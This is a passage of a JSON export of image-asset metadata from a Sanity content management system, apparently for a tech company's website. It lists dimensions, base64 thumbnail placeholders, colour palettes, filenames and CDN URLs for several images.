AAAAAAAAAAAEA//EAB8RAAEDBAMBAAAAAAAAAAAAAAEAAgMEESExE0HwUf/aAAwDAQACEQMRAD8AjOoeqGnSefzzNXVyN1OxGSi2JNUnEdaayJG5BZyAB95u6F6qCtWnVXgkDd6lRzlVDpFCoFlr1kRwvaDyeP3F0kvDC5zRkX9pMqZA94Ye/fUjp2owaTVWtYszmX3MdyeSBhissaNIxZQTv84ZIVMx2iGFt8L/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#603251","foreground":"#fff","population":5.86,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040669","foreground":"#fff","population":4.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#603251","foreground":"#fff","population":5.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5b4af","foreground":"#000","population":0.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf8469","foreground":"#000","population":2.81,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#884e4f","foreground":"#fff","population":5.5,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d65a20","foreground":"#fff","population":4.58,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"podcast-5-kafka-tiered-storage-iceberg_meta-preview.jpg","path":"images/sczeoy4w/production/0cbc49e649235a2814f5865c5aa2d87840d8c353-1920x1080.jpg","sha1hash":"0cbc49e649235a2814f5865c5aa2d87840d8c353","size":378022,"uploadId":"Lc7e8ZD61K8WercCaNxC6WcQiiGkiaZY","url":"https://cdn.sanity.io/images/sczeoy4w/production/0cbc49e649235a2814f5865c5aa2d87840d8c353-1920x1080.jpg"} {"_createdAt":"2023-07-21T13:11:04Z","_id":"image-0cbccdc2a16a27d64fc9a48244dd00af32d7c1b5-1366x214-png","_rev":"Q21J3pgWoUWkhUhtSotoG5","_type":"sanity.imageAsset","_updatedAt":"2023-07-21T13:11:04Z","assetId":"0cbccdc2a16a27d64fc9a48244dd00af32d7c1b5","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.383177570093458,"height":214,"width":1366},"exif":{"PixelXDimension":1366,"PixelYDimension":214,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAe0lEQVQImX3NSw4DIQwDUAIkgUD4zP3v6qpQzbKLJ3tlB2GFmWPMjbke+BgotSLnDIoEIkKgcLw9/MGiaH2esbW+oxvdHcUKtOohVaDH7SyMlBNiii+K8R4mFlTr8O5wd6z9YO6NNjraaGjz6r+0YahuKO0eFrtYBYkZHzjBQPr6FOA3AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4a5a","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e0c0a","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7d8080","foreground":"#fff","population":0.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#722d26","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dda29b","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7d8080","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf4c3f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"min-max-validation.png","path":"images/sczeoy4w/production/0cbccdc2a16a27d64fc9a48244dd00af32d7c1b5-1366x214.png","sha1hash":"0cbccdc2a16a27d64fc9a48244dd00af32d7c1b5","size":57872,"uploadId":"1qv4QVZrVjdvbBGFmVW0V0HapSKbAdVc","url":"https://cdn.sanity.io/images/sczeoy4w/production/0cbccdc2a16a27d64fc9a48244dd00af32d7c1b5-1366x214.png"} {"_createdAt":"2022-06-15T20:02:17Z","_id":"image-0ce3c6718cd7bec852dcd1010e4485a41a18a887-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRri9Pw","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:54Z","assetId":"0ce3c6718cd7bec852dcd1010e4485a41a18a887","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MUPie%.R-;FpvpXrXLRStPV[_JIBIU-DTD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADJ0lEQVQokVXGW1MbZRgA4P0L/gDHGf+A4w/xrhfWWqUI1Uun6ExjTKbFqpMitIzYljKY1HYcDgkMVaAcirQBEhLIaRM2ez51l+x+327OUKV5X6e968Uz8zC6Sa5Iih2VFCshq/a8pNhxQTLjvGjEq7we53gtLqt23HYacZd23kJoJ0Ht7mPCdVfdUnvWVVvXGF40pousIOQKnJ8vVkm+yNGDwzLNHJTeeP1KRaEvTJ8S0qXEe61DCW1SYjeom2l59myzYcwQVdu2FxjdJHOyanui/AJF2UJJtlCQTORFA3nOQCFlorJUQ/MvH7Wsg9yRjGyZwyrHo5bSUY5YWPxYwsI5oVO9qKcZl3ZmXNpxHdJGh7R7DmmDS9vg1NrgHLbA/pWA1K9Dqj8Hcz8swr2JSbhz9y7EYjFYm1yHnc+yvY0Pd2Dv/cKJ+I4jMe5xd56QLiFeF4nXAeJ1kNA2OkoTzRkX1UEZcx/t4YMLMbzSN4SXBy/j0NAQhsNhvD8yhatfbsL+Bznk3hO75ruEY9xKe4kctz1CW0hpE4jrY8120cxbWL0n4NFXLJYGM5gIzeM3X3+L5z85jwNfDGAgEMDodAy3x5PAf1rF2kWl6Yf0ZwwtN1c8u+F7xEdSc8E2DLAUCcRUGTKTaSh8lwPlqgh7Y7swcuMX+LyvDy5d6odAIABTU/dhbfYJVB5l0V8t1V+yhU2modHH9WPXqzs1dE29Z8kcHEssHP6zBbPjj2Drp3WQxjhI3tmGidFxGB6+DrdGR+HW2AjcGA7Db7dv9nZX5rDObdd7RvIp09LkhK8KHtEEpLqAdVPAul7BfHIdE9Eopv54gtoSi6mFdfwzOokLMzFMby3j2uJDnBgJ4fTtEJY2H+CpuNEEPfmU6fD5Ca9ykLO5nErVCt+1Bb5rVflaNcvL2Wd8LZvlab7M85ldPr25KFZ2/lbco+eqdrCi7i//rpY2okqjvKz3tGQJzf2HzInKXmjJxbCvlH5sGZXQqcUF/7W54H/2UfDMKgfPTDZ4qrHBhpT7vi6krp3IqZ9fGZnImZaKvJSfR87UZATM9E00M9fBzA78D6dhx/n76EJFAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#503555","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#76067d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#de0deb","foreground":"#fff","population":5.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#94c49c","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6e0bd","foreground":"#000","population":2.59,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e8a5f","foreground":"#fff","population":0.49,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de0deb","foreground":"#fff","population":5.98,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0ce3c6718cd7bec852dcd1010e4485a41a18a887-1567x844.png","path":"images/sczeoy4w/production/0ce3c6718cd7bec852dcd1010e4485a41a18a887-1567x844.png","sha1hash":"0ce3c6718cd7bec852dcd1010e4485a41a18a887","size":623543,"uploadId":"6zeb5ytUdWtuwtrHcoZafX0G7JnWWteW","url":"https://cdn.sanity.io/images/sczeoy4w/production/0ce3c6718cd7bec852dcd1010e4485a41a18a887-1567x844.png"} {"_createdAt":"2023-11-22T11:01:36Z","_id":"image-0d09bce59585e9a61e7bc00d487cf4ad46885a03-1729x926-png","_rev":"Arp4NzaYseKQ5hw9dcha0G","_type":"sanity.imageAsset","_updatedAt":"2023-11-22T11:01:36Z","assetId":"0d09bce59585e9a61e7bc00d487cf4ad46885a03","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MRR:E8%M~qWBD%-;ofIUt7t7xuofMxayoz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.867170626349892,"height":926,"width":1729},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABuUlEQVQokZWSXU8TQRSG+6eNV+iNcAfciIkhYmLQGAxaDUXRWltCoRapGMOHtiDSdj9mt7t0N+1u2919zAyVNK0YPcmbM5nkPOc9MycVxzH/p4goutRgMMD3fYQQWJaF67qk/lasCgcDpTiKLu+TROUgDPE8j1arpYBSCpgkCROKY/phgCsM6tUjfhx9pV47Rv95gmNqeG6LC8dRsNZQjuOoBilGQsJkSGeOLTjY2yGXfsra4wdknizxduURW5lV9osfOD+t4fseYRjS6/WU+v3+pEMZ8m0sYXLwpUK5WKC0maP4foP8epr8+gs+FrKcnVQJut2rmt9x5XAUKN+o0+kgTBOt2cA0DWxLIEwDYerq7LXbqnEyZmgSOMzdboez0yrl7QLFQpZKeYfqt0NMQ6d94aqGUfQvwKFDOfJmboOle/PMzdxidnqKxYU50s+WyWdfU/t+THc48mjttUDbtvhULvHq+QqLC/PcmbrBzO2b3J2dZvnhfT7v7SqX47V/BMosf0+uQrNRZ7+yS+blqoK/e7NGaXuLRv1c/eq1wNG1GR1DrpDveRi6hqY1MQwd27YJgkBNMg78BZlCOwzg8F00AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#453b31","foreground":"#fff","population":1.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2d1209","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#453b31","foreground":"#fff","population":1.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6bab4","foreground":"#000","population":0.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce4dc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d6f5b","foreground":"#fff","population":1.5,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4552a","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"brewery map.png","path":"images/sczeoy4w/production/0d09bce59585e9a61e7bc00d487cf4ad46885a03-1729x926.png","sha1hash":"0d09bce59585e9a61e7bc00d487cf4ad46885a03","size":629824,"uploadId":"p4VFD5Jpq0HJXVGj9bHxnE0FIbqLpAhY","url":"https://cdn.sanity.io/images/sczeoy4w/production/0d09bce59585e9a61e7bc00d487cf4ad46885a03-1729x926.png"} {"_createdAt":"2023-12-06T17:40:40Z","_id":"image-0f3051818b4262d9d0b9f02a1499b368b7b1abe0-1999x1047-png","_rev":"zHeFW2t7bUb3lAyGGtB67r","_type":"sanity.imageAsset","_updatedAt":"2023-12-06T17:40:40Z","assetId":"0f3051818b4262d9d0b9f02a1499b368b7b1abe0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7S$ows=tQ%2?b~pWANHofjYozWCWEkWRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.909264565425024,"height":1047,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABU0lEQVQokWWS6XKDMAyE8/5P2umRALasm+3I0KS0PxYfeL5dS76pGkQUog73RMQOj4R5wqz2HJmJfd8vyryu91O3OlzQMQSDBSIlnXseccAiDu07ImL+Z5ZpmKfZz3irj7Jg+Xzg8+ML9/sdy7Kg9w5zP5wLJoJUhYmit47eaJpm5kx7ARoJ2tsDj/c71nVD7wRmhns8gTkGokw6gdYO6mMa5gm7AEMc40GgjSCsZ+2O62YBazRDisCYQY0wiGFmiMj/QDdDbw2t9VlLEZuHzQPDdrAmTBNh1ShDJzpuIfJs2i8g4KZo24JtXdH7ABGDeYDVsHBiGwkmh0nA1KbxshylUX2lfCV0B52ulZC5uqxQcwyNKRWHW8yEBaxaE41np69NsUDrMsVsEDWo+gTOca6rDMe8bvE33QUoGtiaTDH7XF/12mOxWZJKV++xmldv8wf4DRvWD+CQMRp/AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343537","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c1c5c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6892af","foreground":"#fff","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3c1a7","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bcef4","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6892af","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4cc4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0f3051818b4262d9d0b9f02a1499b368b7b1abe0-1999x1047.png","path":"images/sczeoy4w/production/0f3051818b4262d9d0b9f02a1499b368b7b1abe0-1999x1047.png","sha1hash":"0f3051818b4262d9d0b9f02a1499b368b7b1abe0","size":277655,"uploadId":"vldIY5TjT89Anl90XrXYoLB9sOyTfqcl","url":"https://cdn.sanity.io/images/sczeoy4w/production/0f3051818b4262d9d0b9f02a1499b368b7b1abe0-1999x1047.png"} {"_createdAt":"2023-10-13T10:25:31Z","_id":"image-0f33f234d09a0bfe23ee770a6a090261831b7e2f-1200x1247-jpg","_rev":"YchETsjFZqXXcMnazFDPpK","_type":"sanity.imageAsset","_updatedAt":"2023-10-13T10:25:31Z","assetId":"0f33f234d09a0bfe23ee770a6a090261831b7e2f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ewPP[rRj_NxuRO$~t7x]aeRjI?WBV?WBkCozj?s:ofWBt7j]aeWBNG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9623095429029671,"height":1247,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAVABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcGAQX/xAAiEAABBAICAgMBAAAAAAAAAAACAAEDBAURBhIHIRMyQVH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAwL/xAAbEQACAgMBAAAAAAAAAAAAAAAAAQIRAxIxE//aAAwDAQACEQMRAD8Au/ly5dp8IuljZTisydY2MPsLO+ndlJPHWKyXH+TYmWhk8hYhsydbUM77F2dt9lW/JuSxsXHLlW5NqYg2Aj7Lt+LLeK/kMIblsCGMR6h3fb7/AKpT33VCcah5SculbZFwCExYhfbOiqGI/aFr1o5LTNIZGzv29r2cQIxWI44hYAf3pkRMfCRrI5zAeovpkREejZ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#462d28","foreground":"#fff","population":0.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f3725","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a7afc5","foreground":"#000","population":3.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7afc5","foreground":"#000","population":3.79,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecb091","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#926554","foreground":"#fff","population":3.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce9a82","foreground":"#000","population":3.43,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"kenneth-chen.jpg","path":"images/sczeoy4w/production/0f33f234d09a0bfe23ee770a6a090261831b7e2f-1200x1247.jpg","sha1hash":"0f33f234d09a0bfe23ee770a6a090261831b7e2f","size":171347,"uploadId":"8XZNZ9XDEJoLj9nsdRi7VUqoW4ywju0f","url":"https://cdn.sanity.io/images/sczeoy4w/production/0f33f234d09a0bfe23ee770a6a090261831b7e2f-1200x1247.jpg"} {"_createdAt":"2022-06-15T20:01:32Z","_id":"image-0f35a5afe4704cf7dee913ca90322ecade01e9e9-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhSgM","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:51Z","assetId":"0f35a5afe4704cf7dee913ca90322ecade01e9e9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MhH|R5loVXV[tlpdibi_XnnhO[f,n$nhWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACp0lEQVQokR3M+08SAQDA8ftv/Km2Wj/0g3Pzh/ql/MVabi5dlrVJqeVrZWKKGe/H3YE8j8fBIfh2PEIQJRFoJQTK1EDuvINzmtUCfNyJtma/fX/47AuA+LFhp4jgJRVeFmeL/ExZQZzo86yxwGrzrII6E5HnYuoCpv+O7VUkX3cEOhMEQ5qlKEIfAXD6wB7dNMe2+bHMwMrmcCyr3DpE8qdIgTXSrI4+k1MVKXUO0RcgxYwuxcVioVHE07u8euIXAK3voSsp42paFMuMRLYkX3aMmR9Y4cRGM+P0KUYz2kIFzlegwrmEOHnrCvf3dct6nittDm32AJCnCqJgQhpKQvHcWHJXm8ihSdyeJu0bu1gq58geYjRjKLAwfiRKFHr1k62NTf0P7qsFCktgDVAmiKH55XdTC+DiZ304ofGvGhbCpsCKyRcy+kLOxPcZ4rcl+xOObEodngHuh+7GZnlzy0Qfd06sBiwblORjmD/tg91BrcuvmXGbPYsWbwD1+C0evzUYwaLfTMGIEsHkfJmIOyQb7Dfxh50S6TSoAqxpSur5JJhwy6bcMmwask8Z5rzGea/F5UNmPSrnjM7htI2pkI6X8rYOkDeIGd5MWgasOshpRgHD9j4Y2VAsx5XhJBxa04TW0GgKi6WwWNISjut9yyiGTr/umqipkdbe5nU+seofOkwtGnDUZjABCuJYhRd1eFGNl+FcSY2XULJsJstGomQi/mhTuMqGIU2NzqoqyZXrnQ11fF69XPRI8n4QlYGAgGAVFKvOswqSFe6yUvKylRQLkixEMqPr+z0GB/9ew+zVa8iNm5y6uxxOU29fx0hX73hbOyAkGIhkNflLLcAZIcEo/79UFAMRJ9z1w3Z7QN7avlBda6uu5dTVNz1+9uJVH/cpx3rrzj/h47427GQQVQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#385759","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ab1d21","foreground":"#fff","population":1.84,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8ce1fa","foreground":"#000","population":6.18,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1cbcd","foreground":"#000","population":0.59,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ce1fa","foreground":"#000","population":6.18,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#998c5d","foreground":"#fff","population":4.51,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de2d35","foreground":"#fff","population":3.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0f35a5afe4704cf7dee913ca90322ecade01e9e9-752x405.png","path":"images/sczeoy4w/production/0f35a5afe4704cf7dee913ca90322ecade01e9e9-752x405.png","sha1hash":"0f35a5afe4704cf7dee913ca90322ecade01e9e9","size":108712,"uploadId":"yPQymb5pt9d2W52qCcRxCeqI4PO3krNg","url":"https://cdn.sanity.io/images/sczeoy4w/production/0f35a5afe4704cf7dee913ca90322ecade01e9e9-752x405.png"} {"_createdAt":"2022-06-15T20:01:52Z","_id":"image-0f5b4d81c0235d5c4c88f7c78bd6c4252a87cec5-1200x646-jpg","_rev":"QRl2cGoCgj0FlAhkRrhr5c","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:41Z","assetId":"0f5b4d81c0235d5c4c88f7c78bd6c4252a87cec5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MnNijk=^R*sENa}EX6ODa#fkrDaes;n%f*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8575851393188854,"height":646,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQGBf/EAB8QAAICAgMBAQEAAAAAAAAAAAECAxEABQQSITFBUf/EABYBAQEBAAAAAAAAAAAAAAAAAAYDB//EABwRAAICAwEBAAAAAAAAAAAAAAECAAMEBSERE//aAAwDAQACEQMRAD8AYgEE+pimi5MKSFexVhWTu0McsM3ITYQh1W+hBvz8zL2igcGWrFJQo5IwO3cDsa6f3CutrrNhcDs0p8i/HtCBo+uxma29Nm/vzDJU8qdGZUkYCz5hiD5mRGzbzpM//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c4c54","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f1016","foreground":"#fff","population":6.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5a04","foreground":"#fff","population":6.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a498","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6a260","foreground":"#000","population":0.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#89535d","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5a04","foreground":"#fff","population":6.88,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"0f5b4d81c0235d5c4c88f7c78bd6c4252a87cec5-1200x646.jpg","path":"images/sczeoy4w/production/0f5b4d81c0235d5c4c88f7c78bd6c4252a87cec5-1200x646.jpg","sha1hash":"0f5b4d81c0235d5c4c88f7c78bd6c4252a87cec5","size":659879,"uploadId":"ykhB8QV5KP3q1qgghuNaeiYAxYtrZ5ou","url":"https://cdn.sanity.io/images/sczeoy4w/production/0f5b4d81c0235d5c4c88f7c78bd6c4252a87cec5-1200x646.jpg"} {"_createdAt":"2023-10-03T14:23:12Z","_id":"image-0f63554b2e1a66f874317bedbd5f8ada949a79ab-1200x630-jpg","_rev":"rpwBSMa1i11HwZnbWvAtDZ","_type":"sanity.imageAsset","_updatedAt":"2023-10-03T14:23:12Z","assetId":"0f63554b2e1a66f874317bedbd5f8ada949a79ab","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MaSYz3#,xGX8Xmxuazayj[fP?^OYNaspiw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUEBgj/xAAiEAABAwQBBQEAAAAAAAAAAAABAAIRAwQFEiETFRYjMZH/xAAVAQEBAAAAAAAAAAAAAAAAAAACA//EAB0RAAICAQUAAAAAAAAAAAAAAAACAREDEiEyYZH/2gAMAwEAAhEDEQA/ANEVM/VZnTZGzqmiAfYG8TCg+YVA1z+1Xbm7Q2Gq3aiZgSjVsRqPxFYmOU2VyujVpWtvexZi8q69teq+1q0TsRq4coTQAD4EJEj/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":2.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#813303","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":2.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ddb3be","foreground":"#000","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc84b4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af5d56","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9670c","foreground":"#fff","population":0.59,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_meta_preview.jpg","path":"images/sczeoy4w/production/0f63554b2e1a66f874317bedbd5f8ada949a79ab-1200x630.jpg","sha1hash":"0f63554b2e1a66f874317bedbd5f8ada949a79ab","size":25639,"uploadId":"xpiTqGzxG5LH1Y4VwuJPovgK64SiS611","url":"https://cdn.sanity.io/images/sczeoy4w/production/0f63554b2e1a66f874317bedbd5f8ada949a79ab-1200x630.jpg"} {"_createdAt":"2022-12-08T13:33:22Z","_id":"image-1007f846c36512c86dbc2bfba98e99ee0ca5c6e0-512x512-jpg","_rev":"cwf6PSmkIH3MXtFHyrorHK","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:33:22Z","assetId":"1007f846c36512c86dbc2bfba98e99ee0ca5c6e0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDEVBAV?03I:]~00R+}?t6JDT#f+=|s:M_QlxZE1Nbxu?btRIpf5xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAUGBwII/8QAJxAAAQQCAAUDBQAAAAAAAAAAAgABAwQFEQcSISJBBhMxFBZRYXH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEAv/EAB0RAAICAgMBAAAAAAAAAAAAAAECABEDEhMhUTH/2gAMAwEAAhEDEQA/AMUvl7kzsPeTD4XWGqT3L4RTC8Yn0EtdNqw8PQrfcwwWq31cEo8pdu+X9rRuJAVo8LWrYqqZTCTOLRRszs35d2Ry521qNGMFS1/JnMnpucC0MgkzeUUXZyVytM8c3vRm3yJbZ0VVIs+z0LhMPRxUIBRrRx8vnXV/66msxUgGOAgiEXLufTfLoidkUcidQuNjxvKbm8PRuXylsVwM9M23ZERJKjyHDGf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c3c38","foreground":"#fff","population":7.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#30180b","foreground":"#fff","population":0.32,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e9bba6","foreground":"